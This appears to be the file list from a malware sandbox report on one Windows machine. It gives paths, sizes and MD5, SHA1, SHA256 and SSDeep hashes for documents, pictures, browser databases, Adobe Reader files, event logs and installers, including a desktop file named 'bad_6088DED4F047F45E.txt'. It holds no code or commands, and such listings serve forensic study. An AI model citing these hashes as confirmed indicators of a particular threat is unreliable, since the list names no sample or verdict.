C:\Users\FD1HVy\AppData\Roaming\dJ1D8WWJKN0vwRrX.xls	45.61 KB	MD5: d9beda13a2ae8e2e8f4cc10872bb6032 SHA1: 1f90e010f315486c681eec25401782bc151590f7 SHA256: 2a53ef51b03a370269611bd81f091a4215ea1fdf3500beba8b67fa2aa3ea2f68 SSDeep: 768:ZaVtv6YdKOG/dh7FK3BDLaOMQZ2+/5ZRZFX+U2sA1iJj5mN4e8fpbTJ/wZvqwQlJ:ZKRnedGIOMT45ZRZV+sVj5Kd89mZvqKO	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\yTvQERL.docx	95.95 KB	MD5: 681e5959dfe406118095f6fa987e0468 SHA1: c30a66ee19021623e5396ea6f7f2e4825ef09f03 SHA256: 7c8717a86be444deba6701517921a92b1891f154b04fd25634d07b4fcbbd1eb0 SSDeep: 1536:tyIAhrlqy1SjFavcQ+nmU5zuAyEeia716Ge8qqQ4+GJoOj773OR5wgyi+eYMO:MIAhcjUamU5yXp95vXJoOfDORWpeV	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\storage\permanent\moz-safe-about+home\idb\818200132aebmoouht.sqlite	121.38 KB	MD5: 9739c44be43b620ac68d121da806d90d SHA1: c38aff8e81c9b7a6bc7cfb183d84d0cbda4a3130 SHA256: b998bc7bee2d37371398a241d5f3ec6d4641b7a67300970026c1a91de5df3ddc SSDeep: 1536:Qu+rj6bPdUIwfDwUEJOm/WqkySmQ4i5135I9EphVBXAPURYF0YG5ifka0O:tuOFUhLwFXn+3XpxQjrsa0	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\lH729p9NvtlORqAu.xlsx	86.33 KB	MD5: a7fe12739b4c588cac27d3dd5fcb2799 SHA1: 3a3437cea52333f5afa4043da4bc8e7d455c1f8e SHA256: bca0b5241433e86b149c1bc1c7ccbca529c449cc7b5c576af67219c752e0d2ca SSDeep: 1536:GJtRtzpJX6b6r4dF1LdYueStp50ylfiOkUidNv7wSrYxFwf/TUqDPPhO:GnVJX67/+St3rfBc/v7wtFaRZ	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\V4v0at7yeL46Y_CL.docx	79.01 KB	MD5: 80ac1a480fad559d0bb01f7f559d3eb6 SHA1: cfac905d6679f040f1fd337c6ba34470d50ed0a4 SHA256: 8edb60f0a3e381dc68a786f9dcd6f40bfe64cde9ca454b389237b167b042735d SSDeep: 1536:Bo0qDEEwM6rVJnyRby5wE0vsvIAH0cS4/UQHdtUAOBmnQYO+wIMHR95jfcO:B1qDEW6znyFyaE+slz7UqdtUAOBmHO+j	... File Actions Show Properties Download
C:\Users\FD1HVy\Documents\MDvWkEoF\nelwiEjV5ko739u\irP-_lJVXPj FWZ6iyYJ\Z_PSSxHcDpT\2-sCYYlXE1eIT.ods	32.68 KB	MD5: 8babbc05de6eaa9348443e9e6c2cc37a SHA1: c15a80a14aa5c7e1623139cef9347e81f5b558f1 SHA256: 23bea7bd39d0ddb5879a8ee462b5139575fa12158df6b5d47bdc11f20bf929bb SSDeep: 768:MUJQf7zXPtwYn1YfQPZueck4tFQb6Ld8JGtsNO:3J87zfaYn+ehB6OJasNO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\IDTemplates\ENU\AdobeID.pdf	81.53 KB	MD5: 37c72dffc32a087e448a38daeacc7a5e SHA1: 2a1eb7f1db42fa392023ce4e5917fdfcc90fee81 SHA256: c0dbd4cbba629662b8ce776c3d4e85acf491b9f4a3bb4cb371e631b5afae56de SSDeep: 1536:m66nDwDumhfxY+70umYYBN9ELwracFbpE86GD+XDKAFoL/oslXQO:GnkD4GS0P80XXoLzXQ	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\Words.pdf	111.24 KB	MD5: f56ccd7003db346fe89731ee79b9dba8 SHA1: 364eed101ad0a14462e3ac99e6d28e34605b0b10 SHA256: 7e89ab0c5d958c1dcf0b7c614ba9b6fb9411779a091045006a7321951f7571a4 SSDeep: 3072:TQ4dvr3iaUnDw9JZ8idFejlyAMv30UbLYlsTXEqOvvL:84djSk9H8E7htv7qvvL	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf	183.84 KB	MD5: 26e98333be5b9eb9c37c843e1940e4b4 SHA1: da458d436269f38942d8ab9d2fbe467f177d088e SHA256: 9b579ef134e14ada791101285f2865b9b93db368047cb645cb3286376683e005 SSDeep: 3072:FC27o6N6gT0xwZODn/TJTHuX2T/5/dGc4uka2AtSyNLMDTJ5MtvVmbvAd:cP6IgT0zbJTuXa5McZd2At7mJ5Muzk	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Click on 'Change' to select default PDF handler.pdf	183.84 KB	MD5: 1ecb60784fcb21c38dbc2732f70b26b2 SHA1: 12fb0e22739f8a27791347a72cff68a6b62926a5 SHA256: b3deda2912bbc54ca44c1dacb969d04322c6e94d0dc74cbe96ffd802a452dae4 SSDeep: 3072:8Eq7N4E+47x0xwZODn/TJTHuX2T/5/dGc4uka2AtSyNLMDTJ5MtvVmbvk:8Eq7OE70zbJTuXa5McZd2At7mJ5Muzk	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx	1.01 MB	MD5: 962637fe048fb4957b7d6f6f0510dc7e SHA1: 5ab7dd82090bb9ab139ba69e1de4acc3178dc364 SHA256: 8290b2a37f6ba0cd3f250c7217edd570143e48b0d65bbb20343411c5e93e0979 SSDeep: 3072:AP7NWvGzClAPL/XoUKtLLnOpMTZKPJ5r+5CJn/X3dlvwrTzt5AXqtclb7vF1rumj:nQaAzwqpI5G5	... File Actions Show Properties Download
C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Picture2_80.jpg	143.31 KB	MD5: 6d001cdf964eca805ca72aab8de3b6d1 SHA1: d6f3dd59fd6fe3858eede156ea11ae34ca227817 SHA256: e5c86cbea73fbc8a5925752ba6986cb3418f84912681a00d39bdc8b85e9d65e9 SSDeep: 3072:oWlEV7fydxGKrDtguu2UokHvWzupURkDe0XETfD0dctVcl:oWe7OHPyuu2Uo039XCKUg	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\combine_poster.jpg	20.72 KB	MD5: f1f5002cf61ba0646f6ec8769c3edff9 SHA1: 4af84048a8870c5d0d6b98fd2c98cc5be59edfb2 SHA256: 1f3483fe14e04f8e2da138e9d496d7bd093dcbe35d0f207d0ded4bcb9f9e5b0b SSDeep: 384:HuvvRJlllllllgkw4LKK6HIKpWExEZHTpKmppP3a1/JBrJgeZek2tpAmCfHu:OXSKus+EZzAIpP3paekeAZO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster.jpg	20.72 KB	MD5: 6daa9c9c5098a9f185cbce98355e6ac8 SHA1: ff2ece7b3a46e5e2e9914b44c09ea29507a51363 SHA256: 88680842ca2db4397ed5e33522d40111f4c6bcd8942dc72a3a1688d9d4761ebd SSDeep: 384:IFu5zbNZpRy7KdL9xAVq0lFlllllllgkw4LKK6HIKpWExEZHTpKmppP3QFxCzSs3:IFgbNZDy7u4bGKus+EZzAIpP3Qj4xLpR	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Welcome.pdf	77.06 KB	MD5: a4a103971c60e4a0cbc8df91a879333e SHA1: d608cdcfdde06e56782c804dbbf57bcb3b07a4be SHA256: 3fa378e940b0e8a09a2027ece931ca412acd0505b7d59d04e4cd24c71053761c SSDeep: 1536:j+bqvHvHBDGkGIGK7cvQ0VPp/8jsATzV8nrxO:jAaH5Z5/7Ap/D6zKnrx	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Document Cloud for Government.pdf	112.15 KB	MD5: 6caec18923c9fa50d8a7a39cb9106106 SHA1: 77ed2c2e0d1bced9283269b64447b8ae78f8d728 SHA256: 4e055b94b6d2ffa42cee7c79cb78502d7da8696a6c4d17d75c008b8912a9c8a8 SSDeep: 3072:qSA+Ude/FwtHM8eZDxF58hQwiLurTUrt3fNs:qSA+r/Fwtit382RurYu	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\combine_poster2x.jpg	48.48 KB	MD5: 44da10dd85191d5750ef197bda4ffbcc SHA1: 7abde0a6d51b9addf3f6e3b7e72b6b8cbb670b45 SHA256: 0444b940c8fd0dc778112b244c16c52d6d58c16ce9966a3e91f3f559b024e3f4 SSDeep: 768:JKfo7Gov/XupAGeG5r2fcgO6QFi74C2nYYfoIf8g5syHdB47J+HLOc5xKNRCmeqd:GoteTe1cgOljmYgI7SyHdAwOc5vmq9O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster.jpg	24.18 KB	MD5: 95e3a04bd58528f99b4008f916c04f68 SHA1: 320134c82fa657eba481be26ce88979dd9ffa0f1 SHA256: 87363e184f5bcf2a033e4105ce11df131bcc9b3a722f034e6e4f1574221e5221 SSDeep: 384:HNeQmjLl4xhz/gzyv9oigUgrulKpCRqWgso58n3CoBvzao34bL+sfULQm3CfHu:tN4B4xhjgzg9oP4K0Rxgsp3CAyCQ5O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\assets\Sample Files\Travelocity.pdf	79.10 KB	MD5: 0d708af56afc4a2659caa471854835d3 SHA1: a4fb129baf5216a40be79e72b5ce0ff4b6d0b5b1 SHA256: 8ca31aa39ff13679a3fabe2935835613403e81bff764e2a8dbc8b756264a2bd3 SSDeep: 1536:MvwcF7iOf0JqzIRMVUMbaclH7GcIsfXd3K3aJLei7MHehuYtXGsUjt1/RcLEYPJO:awAf8q7GM5bG4N6q5edaRg5jjqNPJrg8	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x-dark.jpg	68.97 KB	MD5: dfacd98e12f2071d7f4491cd3d76fc75 SHA1: 1ec052b55ed7d327ac7af0654d9b0a216ae41fba SHA256: c7b7b06f30b3a368bb4e8e67441f52b9d8bd9e72052204aefee24d493d510c75 SSDeep: 1536:WkU8FhUDHKPYObRHEdH7Cc58pHy5rHynNaHvXa4v3RYmb444444444444444444F:WkU8FhOKPBedL7DyNmXBvnX2Wd5twwJY	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster.jpg	28.02 KB	MD5: f91fca35acce765e19e0c0f998da284f SHA1: 6de6d0a753dbfaa51491b8aa7a8b64768755da7a SHA256: 963aa43de1ea3f3c40cedb063329ed8b6968a4da9a6745a84bbb6fd965c280ae SSDeep: 768:5PqJzbzkvr7x5hDM6kQfS53adFrQ8pGhO:JqdbgdjDMW1dYhO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster.jpg	28.02 KB	MD5: ea645f4d3164e3276ca4533fbdf6fadb SHA1: 004c594578e37f51fe6f50cfdd984e3d0423b8d8 SHA256: 7674687c6f6939854549b6786b11a630d5f84b02ab28eb3d15944eae2293e8f2 SSDeep: 768:3NScBr7x5hDM6kQfS53adFrQ8iVVXzQGvO:9SqdjDMW1dq/3vO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\organize_poster2x.jpg	68.97 KB	MD5: a0c7bdbdab64953283a5f65681305503 SHA1: f58d982d13ae3e60d8e3b87a16f3d67a0760903f SHA256: 3f2c22dbac3128e4d16773e117bfb456d81bffbfc371e1598fd41c6fd3843d27 SSDeep: 1536:m6Wfhpql4xLo2aHEdH7Cc58pHy5rHynNaHvXa4v3RYmb4444444444444444444+:8ZQMdL7DyNmXBvnX2Wd5twwJUN	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\compare_poster2x.jpg	80.17 KB	MD5: 09363e1d9a8a0a232feff40237850373 SHA1: c5cc3a14e8dc29dbb7acdba758546b2dfd72446d SHA256: f8dbbe0ac7d885510ed42c3961030b4bd63e0358422d7b3d67e75bd53d26cdba SSDeep: 1536:/BKQv+t8ht6WFQ/DxJyYgQ0D++8hhuM5TA1UaPP24ZZIA6VjOrY200hmO:/c0+t8OWFQ/F8C0D++b40Ua2dA6VOY2K	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\protect_poster.jpg	24.18 KB	MD5: 9a6448166bba911885d674a960464564 SHA1: 05fcecf06efa72cec84b23e71282cd30f8b71424 SHA256: 7b5157a209d41d07fe0e943dfa9aeaaa8c1f4f923718d6b7dc49a307a6d727fd SSDeep: 384:0B2s8+VNL+fDHPyv9oigUgrulKpCRqWgso58n3C+FYwryfy2CfHu:xoKLPg9oP4K0Rxgsp3CGYwryfyJO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\6ZaKO22zBTdl.jpg	101.21 KB	MD5: 0598872dfda1e580135c0c8279379928 SHA1: d6651d0cd2889dded94cd5f98ea00ca76a3c56e7 SHA256: 17ad4b2166503f3478c733e4a8af0da533ba18482106b547ba3993bf5febd134 SSDeep: 1536:WPHSygAjVt/heTAmklU+N1L8UFzle3i2DyObn7/YxyC4bMabo7QVzpAnTwc9guyT:7m/gK3NzlVWpbcE5V+MzpAn33mP+	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\pmrx0XMNlqLx.jpg	10.26 KB	MD5: ffe8c603732184f1eae38be76034f127 SHA1: 225dd8315b413e63503c45abde5ab4f082ec88e4 SHA256: 1a8e375095cd1c6ff9e394f5e8a257432d6443c7295470c3d07a55ad8611df7e SSDeep: 192:RZ25EwA4RgYVZGUNHoNCf0ljwGtP0H0E+oJNoFHZdgrtiaro2nzPL2fHux:f25M4aEZGCwCfveP0HphKDdsm2nzPCfa	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx	69.38 KB	MD5: 9fff2e7bfaa7181d1cb94d88056d88e8 SHA1: b434772436c2a00af2ba35b31a0903c318d89caa SHA256: bb92d888628027d5bff37b4d783102c8897f9df952e52427441ce9602e0b7f90 SSDeep: 384:kxrRLGzVYsXu5jyVrlgvnVr+AugeaPJ3GOlu6ICb1xrRLGzVYsbCfHu:k3GzVLNV6Vrxu7a5GObIm3GzVkO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster.jpg	28.82 KB	MD5: 66fc3dd303941cfec20e0b91ed73822d SHA1: 5b3fa10cef9c046b966c265ec7f8ab87d92813b4 SHA256: e80cb55fda96c087d9cab476640607c5ee95318e76ce2733be0068d568f33652 SSDeep: 384:AGvgn4GijoYISAVgBwqnUWsPNzpjblkzGWAOUVdQ7m0HEl+TBuQbdnAtCzqpEArj:AGIn+zYVgijbuzB1Url+TBBbtW3+O	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg	43.94 KB	MD5: b17d9809097e6734fdaed43ba4dad379 SHA1: 371343265afdf4fa7cf2bf7f113fb522ac23c901 SHA256: 8174eb49169a0baa4fbc711c6e3ef7ba08746f907b877458773937bfd777fee8 SSDeep: 768:K/F1yWMDKSHMuuMrCdcMwJ/bSkaPs/lhY3G1mHIEolkvHu9MUC7oIHO:K/FwWSKSHqdYJ/bSq9GPxCkPSMUCDHO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster.jpg	30.29 KB	MD5: dd07f841bd22cf63e13f98035440207e SHA1: 0b52368410b39dff9fa3dbbb6bd62db00a2c4e82 SHA256: 927e608c1344a0fdc3de6c7389f9db522e44bb7649a28ed984a35c81da6c70d5 SSDeep: 768:Lk1h1IAYapqDoCuVu/+++++++++hjF86eBjJYd5LVWz7M3/O:LCYAsMF81VYdvQM3/O	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\GetCurrentRollback.ini	1.54 KB	MD5: 0824aa7fa9efbe23b51d4b801491b3d5 SHA1: 5232edcd4ff44825a6b47b2d4f0539d0ec72fbdc SHA256: 343e5168e5eb77c094f3977f1536b84f6fa0c2359f202b12ef05b25bd1032c7b SSDeep: 24:DwaQUy8OAljNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHjiF:UaeNA9NmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\redact_poster.jpg	28.82 KB	MD5: 267b381662ccaa85b71d5fd05027c6bf SHA1: e62e9ead9482ccede412de2a238d9d8abe7d2a9b SHA256: 4c006943841f238e7841f4ad3e833aaf4d4a2e8d365bb889d6d0cfee1ff95c9d SSDeep: 768:iobc/FVgijbuzB1Url+TBBbtW0xaRVfNnKFO:iva1AUs0xabfgO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx	69.38 KB	MD5: 5084930110b0dce441115f6ff67a5fc6 SHA1: 3576592923813dd572a4fe5766dbe71f1ea18e0b SHA256: 6876f31093b93c68d5146dee116ae25587ae5d71f3d8f8462c33243402e2b037 SSDeep: 384:DiEBsiRSHSi8ZMfIR2lJu0KLuIQ53GjnP7c+2AziEBsiRSbCfHu:GEBsiYaZ1I06xInP7c+n2EBsiYoO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx	69.38 KB	MD5: a0bf0932b4012f6994fa5d3de7b07103 SHA1: 0c381cd89f7278a894170ecd62b9dba082a50fc0 SHA256: bd20e6a94d461e6429710864938c5fb388e400751c22d5cfd3550bc98135d327 SSDeep: 768:Xw9epBLOCLDoNwUVVmzqGlY6NIHw9epBLOiO:XoeptOZwUriqGlMoeptOiO	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-MUI%4Operational.evtx	69.38 KB	MD5: e10953f9f52bb2c2fa32b72b43e96212 SHA1: b7a60244787fa231cc1ceac44b4ee7aa1f0f3bb7 SHA256: 260b25b1c760fe3a29beb73f24f03665597a11a8beb64335aae9202de337f9b0 SSDeep: 768:hiYXG2z5vWKuJs27KOHryU59fjnBMTbLiYXG2z5mO:gYWabuJskLDfLB0yYWJO	... File Actions Show Properties Download
C:\588bce7c90097ed212\netfx_Extended_x86.msi	485.38 KB	MD5: 947f7bf04b412af1264d79133c8a5a27 SHA1: 349a5f4908436adfb77825db6fe83377f8d4da31 SHA256: 5a067899c0b2af04a6f0f7d6063ef119cd745b1d2c9ba6679e92317e10c27f56 SSDeep: 6144:/Zzv76RHfepsrxRrGh/JD6sAOiOk05c+Q+OjUIsLQUIcFxZSBVv+lYjsm6FBQ0sj:NIHfepsrx1GX6sEsNz7QXcFxZ+VhjEy	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\compare_poster2x.jpg	80.17 KB	MD5: 19b0f7efc9e8c310a3ff6e509253195f SHA1: 52526af3dd1a8dac33c01994e412d21a955863a2 SHA256: b0b77c01ee05e281dd4f56c183747287f41f069c756175e3051803895289e531 SSDeep: 1536:LNxnNcWAQ/DxJyYgQ0D++8hhuM5TA1UaPP24ZZIA6VjOrY200JEO:LNxnNRf/F8C0D++b40Ua2dA6VOY207	... File Actions Show Properties Download
C:\Logs\Application.evtx	69.38 KB	MD5: a209ed3f7377a10d491daa30e416663d SHA1: 4aec5be9b7906ce0f1f6b1c13b5884ba382dbb1b SHA256: 93a545b68d9547c887e3d408811619214b2b6ebbc200b6a28e915d5c6e72712b SSDeep: 768:N4/HA9GYB+55pig60qFsMS79qbIkq6cqiqdqCIXIuqCLIHNI3RP4/HVO:mvc+55px6zSCcouRgvVO	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\protect_poster2x.jpg	59.05 KB	MD5: da56103490b2f115eb8f3ee9f6988a3d SHA1: de64c7aa81f97eefd5174b3731daa52b0ca82d15 SHA256: 1ddb5daba776487a66f4a3cf34a54d2da8b273436e8ed9307f1e0a2eed9c3556 SSDeep: 1536:+i/aa2rVxfdKzqbl4TFuSW4vI67V/qN05cSoO:hYVxAGbiTFumvX5nS	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\scan_poster.jpg	31.02 KB	MD5: c5cb8ee88a967537e1ae7730d998cf32 SHA1: 1878b8e3bcfbb1de49242bf6c7499d23159cfc73 SHA256: 112a3c0a0a1ed32fa1870aca49ddf18cfbd558ab2c0b61dc51b8dffbf8b79df1 SSDeep: 768:+C/vboKeaVdIsOl1uiiuZa+LZiVfkCNbJTn8VYAPKjnDHKa8QU10VO:PEKLVesOl1kcjZSlJT3T8B+VO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\9YZdyXI1.jpg	22.33 KB	MD5: b03371a6b05f8dd6cd03e123be1cf5d8 SHA1: 3c9b0e28ee406501caf442f038ae1b6d744252bf SHA256: f39b6e17d506560c830be11e6e2116e705739047e9ca4f38b635013d1a15b05f SSDeep: 384:5ArjTq5Nhb5w/uRH4jUCUo+nERuYFZjZpnCBZ1WJVxAehrcoonCfHu:5wjTcbK/IYju2RfFZCB7WJAeJV7O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\optimize_poster.jpg	24.84 KB	MD5: 695efad3a566d41f529a2ce8766c62f1 SHA1: ebb3e9e52f12f3095d9750d6f4efaa4354be7b9c SHA256: 868f79db850cb3976ea3690d8bf7ed152811f1764d836b701010aebfc0ddae98 SSDeep: 768:HPV087pnSpdO9CRBlXiT4zrFF+2XkAOhO:Ht087JSTkqjY4zxF+2XkAOhO	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\preoobe.cmd	1.46 KB	MD5: e5d040b850a2833431c6cb4ae10515eb SHA1: eeebf629acec7f170364cd03e7da991db47fd1b7 SHA256: c791a1aa05f84e79b6f2c6e0c7d1fe1c29612979c2ec07cca27ee9b39be10c69 SSDeep: 24:8a28OjNm1Zau30Xx7lIyHUuBmBVi+giEitjAr/LrIX135kXPlQR5pHji:8mQNmLaPcuB4i+gNiZvuUbHe	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\redact_poster2x.jpg	69.85 KB	MD5: 40f639d81083bc156db885acc088fd09 SHA1: 3e8f7ef81954a6ecd3e2891fb4ab3bcbacb481e1 SHA256: 66606996a4e812aa35a493aee96801b505727eaffd5ed4d80591a8ce9b1faa0c SSDeep: 1536:893oQYQDmjud8sopQcU7HhE8rpwfoCIIIDIII2cQsi9V4+M9vz+fzO:89JYamUoScUT1NCoCIIIDIIIENnAvz+b	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\favicons.sqlite	5.00 MB	MD5: e1eb0c8bab1af242d17e65582b0910a1 SHA1: 76776c21c97c6cae21b083226f88aecd9783a508 SHA256: 943a4f343e4dd7b186cf24792c82fee862cfd0e0a69d8ea4ac7e371c32278d69 SSDeep: 3072:j6FPfhKXzemUdJDvvXcBk/REO0lAaue4c92yD36FPfO:jdX2dBB/REOe9ueWyD3R	... File Actions Show Properties Download
C:\Users\FD1HVy\Desktop\bad_6088DED4F047F45E.txt	0.07 KB	MD5: fa27a13eea114400d8c602317319bf96 SHA1: 3296e0521b93385530cc6ebb3fa163086bad4e51 SHA256: fefdcaacaaf89fac8f02ac5460fcd02926043ed29a060ec68de5f631d1fb48e0 SSDeep: 3:nB1EoZDIDzfr0JO5cS9KE2X5kXLg:nDNIDzD0JOCEfMkbg	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\kRUtWme.xlsx	61.79 KB	MD5: 6d5f9ddf9fdd27968a3f2a6560958210 SHA1: c05cdc7fb5506477a116c0b4044cecee9e6dbe3f SHA256: 7648ab64072be98c1d6ac9a5ba84dd0580db32fdd7d4ed407369c266c06c0672 SSDeep: 1536:WvebXWh0607JiLTJ0E2tLvsmSRqAgVr6/PupLQpDP1Kq9UH+WO:+ebXWhH/LQtzsmscVr4uypDi+W	... File Actions Show Properties Download
C:\Users\FD1HVy\AppData\Roaming\7 IWCWCLCExR.docx	73.96 KB	MD5: 444192f71f2a4563caaea7e510192947 SHA1: f7bbeef3b61177d2ab4466cae23cbdc14d7eda8d SHA256: 823d07f7f5dbd29e0162b226026ff2bae91fbcde2b056011e38a61cc31fccee6 SSDeep: 1536:wohS9PIxPeUNEHrG6Rvtn5CANNtLbYp/bF9+fQO:XhS9dHrG6R9Zux9T	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx	69.38 KB	MD5: 9049612c6b8c45e2602d6ce2f5bb4ab3 SHA1: 0ee9768f667d8097ac0af87d1883e0bd1177b068 SHA256: fecd24f8818d5ece82f3c31dab795a84c0357193e3b3b7c19a51403d647777b5 SSDeep: 384:+olfpGnf+4rXKZJa+mnQmz6bMCKbJSqHtOLV6/bX/VMGolfpGnf+ZCfHu:/uf+uXKunz6kJSPU/bX/VMHuf+2O	... File Actions Show Properties Download
C:\$GetCurrent\SafeOS\PartnerSetupComplete.cmd	1.95 KB	MD5: aaadd1c3cfc1f9bb2c05059edf550b23 SHA1: 2b3409bc53b6a6f40b26d677ca481d9956e4b361 SHA256: 67e7fd003593535f16a4b50be306e3fb2d1002b33a1fc52db5f2c460dd5f752f SSDeep: 48:AD+QEP9p4o3FNQSXNmLaPcuB4i+gNiZvuUbHe:0+f0o3XQImL/ufRNumUa	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\edit_pdf_poster2x.jpg	73.73 KB	MD5: e15ad30c4e76e56faab78f31fb4da6e8 SHA1: c9a7e4ddcf8db048926b0c0f8a1a7b3b2057579d SHA256: 5e2e0fb00c98236f5411d9fccd65ffd5f8f64757805f4ca692fdae8ebe134e5a SSDeep: 1536:xhF53M42gvFqbvxiwIzSXJpTihqMz2VthjUVr71cO:xh5kzP+4tzhdKK	... File Actions Show Properties Download
C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx	69.38 KB	MD5: 7dc353a39920ab227ed30c02b4d1225a SHA1: 6ab49cae721f892caf9a2d374eb3b7c98260ea41 SHA256: 554af54f16e3574fc8706b3a2b1db481482789535f70617c55d9511bc0eaa5a7 SSDeep: 768:F0guXRYqXyUXrxxMsp3E3YwNM5i63e0guXR/O:FbuhYsHN6sxia0buh/O	... File Actions Show Properties Download
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\email\dummy\adobe-old-logo.jpg	36.34 KB	MD5: 3541c6695a4ef71e2ab3a38ff7d1ea9c SHA1: bb0a497f6fe7171a21c77f36bbbe3017cc4857d9 SHA256: 0fe9f669ff5986a185ac9f4c0c1ff879185d19ce47dfe322eda3ebff501baf27 SSDeep: 768:oxotatwJtsOQOzBHmtiSUhAkt7NRcv6IVpCthoyfue5O:1at6QOzBmtiSUhAk+iRtCyfBO	... File Actions Show Properties Download
C:\Users\FD1HVy\Pictures\K1x_a5kN_6Xhy9ntGym\p4 5z.jpg	99.71 KB	MD5: f87d63f42d853b8c2423bd9730c60ab7 SHA1: dc810163de2af5f5ec384ca73ae9cb5453fd0c55 SHA256: 4fba2a9a4604f6b9461fc839270366933f809420262b98fb91c159f7ff3216c6 SSDeep: 3072:F/PATeDCYz9y9lQF0KnJXdqKojXAI05YsOMFkR+:F/P3y9lk0GJXdgTApP++	... File Actions Show Properties Download
C:\588bce7c90097ed212\RGB9Rast_x86.msi	93.88 KB	MD5: 01782743b22d076503c92c86a8651be2 SHA1: 43743b1d999ed30abc04bc1fcbc122c93e22196f SHA256: b23a0cc6720cf2f89d810a660e56560e1966ffd325967ef01d9f9880ad27d7d1 SSDeep: 1536:udHGHyKKZJAM41picgCjX3QAoHwDHL0fWi0lrmsIjyG9heHApNR3YHaeAKMoG8nP:aHGH8JAZbdgC73Q5H0Un0li+G9AsxaML	... File Actions Show Properties Download
